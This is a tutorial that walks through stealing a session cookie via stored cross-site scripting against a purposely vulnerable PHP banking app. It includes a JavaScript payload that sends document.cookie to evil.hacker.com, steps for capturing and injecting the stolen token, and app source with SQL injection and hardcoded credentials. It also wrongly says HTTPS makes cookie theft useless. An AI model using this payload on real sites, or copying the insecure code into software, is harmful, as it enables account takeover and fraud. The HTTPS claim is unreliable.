Session hijacking occurs when an attacker captures a session token
and injects it into their own browser to gain access to the victim's
authenticated session.
There are some limitations of session hijacking attacks:
1) Stealing cookies is useless if the target is using
https:// for browsing.
2) Most cookies expire when the target logs out of a session. This also logs the attacker out of the session.
3) Many websites do not support parallel logins, which negates the use of a stolen cookie.
In this tutorial, we will see how to steal session cookie using Stored Cross-Site Scripting Attack.
Stored cross-site scripting arises when data submitted by one user is stored in the application (typically in a database) and then is displayed to other users without being filtered appropriately.
Attacks against Stored XSS vulnerabilities typically involve at least two requests to the application.
1) In the first, the attacker posts some crafted data containing malicious code that the application stores.
2) In the second, a victim views a page containing the attacker's data, and the malicious script is executed in the victim's browser.
We
develop a web application which has a stored XSS vulnerability. The attacker logs in to the application and stores a malicious script in her profile. When the victim logs into the application, and views the attacker's profile, the malicious script gets executed in the victim's browser which sends the victim's session token to the attacker.
Web Server Name:
meru.mycompany.com
Attacker Machine :
evil.hacker.com
1) The attacker logs in to the application by viewing the URL
http://meru.mycompany.com/login.php.
2) The attacker accesses the page '
http://meru.mycompany.com/edit_cust.php' and enters the following Javascript in the
Address field.
<a href=# onclick=\"document.location=\'http://evil.hacker.com/xss.php?c=\'+escape\(document.cookie\)\;\">My Address</a>
The attacker logs out of the application. And silently waits for the victim to log in and view her profile.
3) The victim logs in to the application on the URL
http://meru.mycompany.com/login.php. And views customer profiles on the page '
http://meru.mycompany.com/list_cust.php'. When the victim clicks on the link
My Address , a request is sent to '
evil.hacker.com' containing the user's session token.
This code causes the user's browser to make a request to
'evil.hacker.com'. The request contains the user's session token for the
application.
5) The attacker on 'evil.hacker.com' runs '
Wireshark' and captures the session token as shown below:
6) Now the attacker has to insert this session token in a cookie in his
browser and hijack the user session. The attacker will perform the following steps:
6.1) Open Firefox Web Browser. Install
Grease Monkey Firefox extension
https://addons.mozilla.org/en-US/firefox/addon/greasemonkey
6.2) Install
Cookie Injector script in Grease Monkey.
http://userscripts-mirror.org/scripts/show/119798
http://dustint.com/post/12/cookie-injection-using-greasemonkey
6.1) Copy the session token from 'Wireshark' output. Right click on
Request URI. Select
Copy ->
Bytes ->
Printable Text Only. Then paste into 'gedit' text editor as shown below:
/xss.php?c=PHPSESSID%3Dnef6vmd3ag8h7lo50m8190iee5
6.2) Edit the copied text as shown below.
Cookie: PHPSESSID=nef6vmd3ag8h7lo50m8190iee5
6.3) Copy the above line.
6.4) Start Firefox web browser. Press
Alt+C to open the Cookie Injector dialog. Paste the above copied line and click
OK as shown below.
6.5) The session has been hijacked. The attacker accesses the URL
http://meru.mycompany.com/transfer.php and transfers money from the victim's account.
Source Code for the Application:
login.php
<?php
if(!isset($_SESSION['loginid'])){
if(isset($_POST['submit'])){
$loginid = $_POST['loginid'];
$passwd = $_POST['passwd'];
$conn = new mysqli('localhost','shabbir','shabbir','mybank');
if($conn->connect_error){
die('error connecting to server' . $conn->connect_error);
}
$sql = "select loginid,passwd,custname from customer where loginid = '$loginid' and passwd = '$passwd'";
$result = $conn->query($sql);
if ($result->num_rows == 1){
$row = $result->fetch_assoc();
$custname = $row['custname'];
session_start();
$_SESSION['loginid'] = $loginid;
$_SESSION['custname'] = $custname;
header('Location: search.php');
}
$error_msg="invalid username or password.\n";
$conn->close();
}
}
?>
<html>
<head>
<title>Welcome to mybank</title>
</head>
<body>
<h2>Enter login details</h2>
<?php
if(! empty($error_msg)){
echo "<strong>" . $error_msg . "</strong><br/>";
}
?>
<form action="login.php" method="post">
<label>Login id:</label>
<input type="text" name="loginid" /> <br/>
<label>Password:</label>
<input type="text" name="passwd" /> <br/>
<input type="submit" name="submit" value="submit"/>
</form>
</body>
</html>
edit_cust.php
<html>
<head>
<title>Welcome to mybank</title>
</head>
<body>
<?php
session_start();
if(!isset($_SESSION['loginid'])){
echo 'Please login';
} else{
if(isset($_POST['submit'])){
$loginid = $_POST['loginid'];
$passwd = $_POST['passwd'];
$custname = $_POST['custname'];
$accountno = $_POST['accountno'];
$balance = $_POST['balance'];
$address = $_POST['address'];
$mobile = $_POST['mobile'];
$conn = new mysqli('localhost','shabbir','shabbir','mybank');
if($conn->connect_error){
die('error connecting to server' . $conn->connect_error);
}
echo $loginid;
$sql = "update customer set passwd = '$passwd', custname = '$custname', accountno = '$accountno', balance = '$balance', address = '$address', mobile = '$mobile' where loginid = '" . $loginid . "'";
if($conn->query($sql) === TRUE){
echo "inserted successfully";
header('Location: index.php');
}
else{
echo "error quering database" . $conn->error;
}
$conn->close();
}else{
$loginid = $_SESSION['loginid'];
$conn = new mysqli('localhost','shabbir','shabbir','mybank');
if($conn->connect_error){
die("connect error" . $conn->connect_error);
}
$sql = "select * from customer where loginid = '" . $loginid . "'";
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$passwd = $row['passwd'];
$custname = $row['custname'];
$accountno = $row['accountno'];
$balance = $row['balance'];
$address = $row['address'];
$mobile = $row['mobile'];
}
?>
<h2>Enter customer details</h2>
<form action="edit_cust.php" method="post">
<label>Login id:</label>
<input type="text" name="loginid" value="<?php echo $loginid;?>" /> <br/>
<label>Password:</label>
<input type="text" name="passwd" value="<?php echo $passwd;?>" /> <br/>
<label>Customer name:</label>
<input type="text" name="custname" value="<?php echo $custname;?>" /> <br/>
<label>Account No:</label>
<input type="text" name="accountno" value="<?php echo $accountno;?>" /> <br/>
<label>Balance:</label>
<input type="text" name="balance" value="<?php echo $balance;?>" /> <br/>
<label>Address:</label>
<input type="text" name="address" value="<?php echo $address;?>" /> <br/>
<label>Mobile No.:</label>
<input type="text" name="mobile" value="<?php echo $mobile;?>" /> <br/>
<input type="submit" name="submit" value="submit"/>
</form>
<?php
}
}
?>
</body>
</html>
list_cust.php
<?php
session_start();
if(!isset($_SESSION['loginid'])){
echo "please login";
}else{
$conn = new mysqli('localhost','shabbir','shabbir','mybank');
if($conn->connect_error){
die("connect error" . $conn->connect_error);
}
$sql = "select * from customer";
$result = $conn->query($sql);
if($result->num_rows > 0){
echo '<table>';
echo '<tr><th>Login ID</th><th>Cust Name</th><th>Account No </th><th> Balance</th><th>Address</th><th>Mobile</th></tr>';
while($row = $result->fetch_assoc()){
echo "<tr><td><strong>" . $row['loginid'] . "</strong></td>";
echo "<td>" . $row['custname'] . "</td>";
echo "<td>" . $row['accountno'] . "</td>";
echo "<td>" . $row['balance'] . "</td>";
echo "<td>" . $row['address'] . "</td>";
echo "<td>" . $row['mobile'] . "</td> </tr>";
}
echo '</table>';
}else{
echo "0 results";
}
$conn->close();
}
?>